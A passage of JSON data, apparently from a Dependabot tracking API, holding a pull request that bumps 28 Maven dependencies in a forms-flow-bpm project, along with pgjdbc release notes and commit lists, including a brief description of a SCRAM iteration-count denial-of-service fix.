href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3973\"\u003epgjdbc/pgjdbc#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: make sure the driver honours connectTimeout when retrying the connection [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3962\"\u003epgjdbc/pgjdbc#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison to handle unsigned values correctly [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3961\"\u003epgjdbc/pgjdbc#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3957\"\u003epgjdbc/pgjdbc#3957\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: return jsonb as PGObject instead of String [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3956\"\u003epgjdbc/pgjdbc#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: align SSL key file permission check with libpq [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3952\"\u003e#3952\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3952\"\u003epgjdbc/pgjdbc#3952\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: guard connection closed flag with a reentrant lock to protect against concurrent close [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3905\"\u003e#3905\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3905\"\u003epgjdbc/pgjdbc#3905\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[42.7.10] (2026-02-11)\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: Migrate to Shadow 9 \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3931\"\u003ePR 3931\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003estyle: fix empty line before javadoc for checkstyle compliance [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3925\"\u003e#3925\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3925\"\u003epgjdbc/pgjdbc#3925\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003estyle: fix lambda argument indentation for checkstyle compliance [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3922\"\u003e#3922\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3922\"\u003epgjdbc/pgjdbc#3922\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add autosave=always|never|conservative and cleanupSavepoints=true|false to the randomized CI jobs [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3917\"\u003e#3917\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3917\"\u003epgjdbc/pgjdbc#3917\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: non-standard strings failing test for version 19 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3934\"\u003e#3934\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3934\"\u003epgjdbc/pgjdbc#3934\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: small issues in ConnectionFactoryImpl [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3929\"\u003e#3929\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3929\"\u003epgjdbc/pgjdbc#3929\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: process pending responses before fastpath to avoid protocol errors \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3913\"\u003ePR # 3913\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edoc: use.md, fix typos [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3911\"\u003e#3911\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3911\"\u003epgjdbc/pgjdbc#3911\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edoc: datasource.md, fix minor formatting issue [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3912\"\u003e#3912\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3912\"\u003epgjdbc/pgjdbc#3912\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edoc: add the new PGP signing key to the official documentation [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3912\"\u003e#3912\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3813\"\u003epgjdbc/pgjdbc#3813\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eReverted\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRevert \u0026quot;fix: make all Calendar instances proleptic Gregorian (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3837\"\u003e#3837\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3887\"\u003e#3887\u003c/a\u003e)\u0026quot; [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3932\"\u003e#3932\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3932\"\u003epgjdbc/pgjdbc#3932\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[42.7.9] (2026-01-14)\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/78e261ff2a7f16a37bdceb2204f67e484387da2f\"\u003e\u003ccode\u003e78e261f\u003c/code\u003e\u003c/a\u003e fix: Add sources and javadocs to shaded published lib generation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/1e09fa0496377296c9e2ef3bfd2b409945fba17a\"\u003e\u003ccode\u003e1e09fa0\u003c/code\u003e\u003c/a\u003e update Changelog and website for release of 42.7.11 (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/d479fa5b8c8c915a441ce1f2448f69f23dd0b66c\"\u003e\u003ccode\u003ed479fa5\u003c/code\u003e\u003c/a\u003e Fix scram fix location in changelog and update published artifact developer l...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/b04fc46af6c207bc7ce9e788fea8c43d18b73d0f\"\u003e\u003ccode\u003eb04fc46\u003c/code\u003e\u003c/a\u003e docs: Add scram max iters fix to changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/cf548225b4078db954765339720ffdf3bc94e5a6\"\u003e\u003ccode\u003ecf54822\u003c/code\u003e\u003c/a\u003e test: Disable scram test on older version without scram_iterations GUC\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/7dbcc79b2b4adf7b71458c9434d2c43cec7713b9\"\u003e\u003ccode\u003e7dbcc79\u003c/code\u003e\u003c/a\u003e test: Add SCRAM max iteration tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/c9d41d1332a7426fcef19ff89f2e6b1116429143\"\u003e\u003ccode\u003ec9d41d1\u003c/code\u003e\u003c/a\u003e fix: Limit SCRAM PBKDF2 iterations accepted from the server\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/a340cb2b0ae24c0d98ad9dec569200ebb704d6aa\"\u003e\u003ccode\u003ea340cb2\u003c/code\u003e\u003c/a\u003e style: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/77837f80c0c20a9f33f9e21b091f4d4552f8e753\"\u003e\u003ccode\u003e77837f8\u003c/code\u003e\u003c/a\u003e fix(deps): update dependency org.openrewrite.rewrite:org.openrewrite.rewrite....\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/23af03bc839af5217ea141946ae41e648264061c\"\u003e\u003ccode\u003e23af03b\u003c/code\u003e\u003c/a\u003e chore(deps): update actions/checkout action to v6\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pgjdbc/pgjdbc/compare/REL42.7.3...REL42.7.11\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=org.postgresql:postgresql\u0026package-manager=maven\u0026previous-version=42.7.3\u0026new-version=42.7.11)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/gengle/floci/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/gengle/floci/pull/1","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/gengle%2Ffloci/issues/1","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/1/packages"}],"issue_packages":[{"old_version":"42.7.2","new_version":"42.7.11","update_type":"patch","path":null,"pr_created_at":"2026-06-08T05:49:46.000Z","version_change":"42.7.2 → 42.7.11","issue":{"uuid":"4610340303","node_id":"PR_kwDODyN6Yc7jxTxZ","number":3317,"state":"open","title":"Bump the bpm-minor-patch group across 1 directory with 29 updates","user":"dependabot[bot]","labels":["dependencies"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-06-08T05:49:46.000Z","updated_at":"2026-06-08T05:50:41.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"bpm-minor-patch","update_count":29,"packages":[{"name":"org.camunda.bpm:camunda-bom","old_version":"7.21.0","new_version":"7.24.0"},{"name":"org.camunda.bpm.springboot:camunda-bpm-spring-boot-starter-webapp","old_version":"7.21.0","new_version":"7.24.0"},{"name":"org.camunda.bpm.springboot:camunda-bpm-spring-boot-starter-rest","old_version":"7.21.0","new_version":"7.24.0"},{"name":"org.camunda.bpm:camunda-engine-rest-core","old_version":"7.21.0","new_version":"7.24.0"},{"name":"org.camunda.bpm.extension:camunda-platform-7-keycloak","old_version":"7.21.5","new_version":"7.24.0","repository_url":"https://github.com/camunda/camunda-platform-7-keycloak"},{"name":"org.slf4j:slf4j-api","old_version":"2.0.6","new_version":"2.0.18"},{"name":"org.postgresql:postgresql","old_version":"42.7.2","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"},{"name":"javax.xml.bind:jaxb-api","old_version":"2.2.3","new_version":"2.3.1","repository_url":"https://github.com/javaee/jaxb-spec"},{"name":"org.assertj:assertj-core","old_version":"3.21.0","new_version":"3.27.7","repository_url":"https://github.com/assertj/assertj"},{"name":"org.codehaus.groovy:groovy-all","old_version":"3.0.21","new_version":"3.0.25","repository_url":"https://github.com/apache/groovy"},{"name":"org.jsoup:jsoup","old_version":"1.15.3","new_version":"1.22.2","repository_url":"https://github.com/jhy/jsoup"},{"name":"com.fasterxml.jackson.core:jackson-databind","old_version":"2.15.0","new_version":"2.22.0","repository_url":"https://github.com/FasterXML/jackson"},{"name":"com.fasterxml.jackson.core:jackson-core","old_version":"2.15.0","new_version":"2.22.0","repository_url":"https://github.com/FasterXML/jackson-core"},{"name":"com.fasterxml.jackson.dataformat:jackson-dataformat-xml","old_version":"2.15.0","new_version":"2.22.0","repository_url":"https://github.com/FasterXML/jackson-dataformat-xml"},{"name":"com.fasterxml.jackson.core:jackson-annotations","old_version":"2.15.0","new_version":"2.22.0"},{"name":"org.apache.commons:commons-collections4","old_version":"4.4","new_version":"4.5.0"},{"name":"org.projectlombok:lombok","old_version":"1.18.20","new_version":"1.18.46","repository_url":"https://github.com/projectlombok/lombok"},{"name":"commons-io:commons-io","old_version":"2.16.1","new_version":"2.22.0"},{"name":"org.testng:testng","old_version":"7.7.1","new_version":"7.12.0","repository_url":"https://github.com/testng-team/testng"},{"name":"io.netty:netty-codec-http2","old_version":"4.2.4.Final","new_version":"4.2.15.Final","repository_url":"https://github.com/netty/netty"},{"name":"io.netty:netty-codec-http","old_version":"4.1.125.Final","new_version":"4.2.15.Final","repository_url":"https://github.com/netty/netty"},{"name":"org.apache.commons:commons-lang3","old_version":"3.18.0","new_version":"3.20.0"},{"name":"org.bouncycastle:bcprov-jdk18on","old_version":"1.78","new_version":"1.84","repository_url":"https://github.com/bcgit/bc-java"},{"name":"org.bouncycastle:bcpkix-jdk18on","old_version":"1.79","new_version":"1.84","repository_url":"https://github.com/bcgit/bc-java"},{"name":"org.yaml:snakeyaml","old_version":"2.2","new_version":"2.6"},{"name":"org.apache.maven.plugins:maven-surefire-plugin","old_version":"3.0.0-M7","new_version":"3.6.0-M1","repository_url":"https://github.com/apache/maven-surefire"},{"name":"org.jacoco:jacoco-maven-plugin","old_version":"0.8.8","new_version":"0.8.15","repository_url":"https://github.com/jacoco/jacoco"},{"name":"org.codehaus.mojo:exec-maven-plugin","old_version":"3.0.0","new_version":"3.6.3","repository_url":"https://github.com/mojohaus/exec-maven-plugin"}],"path":null,"ecosystem":"maven"},"body":"Bumps the bpm-minor-patch group with 28 updates in the /forms-flow-bpm directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| org.camunda.bpm:camunda-bom | `7.21.0` | `7.24.0` |\n| org.camunda.bpm.springboot:camunda-bpm-spring-boot-starter-webapp | `7.21.0` | `7.24.0` |\n| org.camunda.bpm.springboot:camunda-bpm-spring-boot-starter-rest | `7.21.0` | `7.24.0` |\n| org.camunda.bpm:camunda-engine-rest-core | `7.21.0` | `7.24.0` |\n| [org.camunda.bpm.extension:camunda-platform-7-keycloak](https://github.com/camunda/camunda-platform-7-keycloak) | `7.21.5` | `7.24.0` |\n| org.slf4j:slf4j-api | `2.0.6` | `2.0.18` |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.2` | `42.7.11` |\n| [javax.xml.bind:jaxb-api](https://github.com/javaee/jaxb-spec) | `2.2.3` | `2.3.1` |\n| [org.assertj:assertj-core](https://github.com/assertj/assertj) | `3.21.0` | `3.27.7` |\n| [org.codehaus.groovy:groovy-all](https://github.com/apache/groovy) | `3.0.21` | `3.0.25` |\n| [org.jsoup:jsoup](https://github.com/jhy/jsoup) | `1.15.3` | `1.22.2` |\n| [com.fasterxml.jackson.core:jackson-databind](https://github.com/FasterXML/jackson) | `2.15.0` | `2.22.0` |\n| [com.fasterxml.jackson.core:jackson-core](https://github.com/FasterXML/jackson-core) | `2.15.0` | `2.22.0` |\n| [com.fasterxml.jackson.dataformat:jackson-dataformat-xml](https://github.com/FasterXML/jackson-dataformat-xml) | `2.15.0` | `2.22.0` |\n| com.fasterxml.jackson.core:jackson-annotations | `2.15.0` | `2.22.0` |\n| org.apache.commons:commons-collections4 | `4.4` | `4.5.0` |\n| [org.projectlombok:lombok](https://github.com/projectlombok/lombok) | `1.18.20` | `1.18.46` |\n| commons-io:commons-io | `2.16.1` | `2.22.0` |\n| [org.testng:testng](https://github.com/testng-team/testng) | `7.7.1` | `7.12.0` |\n| [io.netty:netty-codec-http2](https://github.com/netty/netty) | `4.2.4.Final` | `4.2.15.Final` |\n| [io.netty:netty-codec-http](https://github.com/netty/netty) | `4.1.125.Final` | `4.2.15.Final` |\n| org.apache.commons:commons-lang3 | `3.18.0` | `3.20.0` |\n| [org.bouncycastle:bcprov-jdk18on](https://github.com/bcgit/bc-java) | `1.78` | `1.84` |\n| [org.bouncycastle:bcpkix-jdk18on](https://github.com/bcgit/bc-java) | `1.79` | `1.84` |\n| [org.yaml:snakeyaml](https://bitbucket.org/snakeyaml/snakeyaml) | `2.2` | `2.6` |\n| [org.apache.maven.plugins:maven-surefire-plugin](https://github.com/apache/maven-surefire) | `3.0.0-M7` | `3.6.0-M1` |\n| [org.jacoco:jacoco-maven-plugin](https://github.com/jacoco/jacoco) | `0.8.8` | `0.8.15` |\n| [org.codehaus.mojo:exec-maven-plugin](https://github.com/mojohaus/exec-maven-plugin) | `3.0.0` | `3.6.3` |\n\n\nUpdates `org.camunda.bpm:camunda-bom` from 7.21.0 to 7.24.0\n\nUpdates `org.camunda.bpm.springboot:camunda-bpm-spring-boot-starter-webapp` from 7.21.0 to 7.24.0\n\nUpdates `org.camunda.bpm.springboot:camunda-bpm-spring-boot-starter-rest` from 7.21.0 to 7.24.0\n\nUpdates `org.camunda.bpm:camunda-engine-rest-core` from 7.21.0 to 7.24.0\n\nUpdates `org.camunda.bpm.extension:camunda-platform-7-keycloak` from 7.21.5 to 7.24.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/camunda/camunda-platform-7-keycloak/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.camunda.bpm.springboot:camunda-bpm-spring-boot-starter-webapp` from 7.21.0 to 7.24.0\n\nUpdates `org.camunda.bpm.springboot:camunda-bpm-spring-boot-starter-rest` from 7.21.0 to 7.24.0\n\nUpdates `org.slf4j:slf4j-api` from 2.0.6 to 2.0.18\n\nUpdates `org.postgresql:postgresql` from 42.7.2 to 42.7.11\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/releases\"\u003eorg.postgresql:postgresql's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev42.7.11\u003c/h2\u003e\n\u003ch2\u003eSecurity\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChanges\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Add sources and javadocs to shaded published lib generation \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4043\"\u003e#4043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate Changelog and website for release of 42.7.11 \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix scram fix location in changelog and update published artifact developer list \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4041\"\u003e#4041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRestrict test with scram_iterations to v16+ and release notes \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4040\"\u003e#4040\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update ubuntu:24.04 docker digest to 84e77de \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4017\"\u003e#4017\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add tests for QueryExecutor#getTransactionState \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4006\"\u003e#4006\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update actions/create-github-app-token action to v2.2.2 \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3983\"\u003e#3983\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky CopyBothResponseTest by using WAL flush LSN \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3979\"\u003e#3979\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky replication restart tests by waiting for confirmed_flush_lsn \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3975\"\u003e#3975\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: fix flaky LogicalReplicationStatusTest by polling pg_stat_replication \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3974\"\u003e#3974\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace Appveyor with ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: move test table creation from \u003ca href=\"https://github.com/BeforeEach\"\u003e\u003ccode\u003e@​BeforeEach\u003c/code\u003e\u003c/a\u003e to \u003ca href=\"https://github.com/BeforeAll\"\u003e\u003ccode\u003e@​BeforeAll\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3967\"\u003e#3967\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReturn jsonb as PGObject fixes Issue \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3926\"\u003e#3926\u003c/a\u003e \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate docker scripts  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3958\"\u003e#3958\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eimplement require_auth, this is pretty much how libpq does this.  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edocs: add SCRAM authentication test setup section to TESTING.md \u003ca href=\"https://github.com/emmaeng700\"\u003e\u003ccode\u003e@​emmaeng700\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3945\"\u003e#3945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd RequireServerVersion annotation for tests \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3939\"\u003e#3939\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for 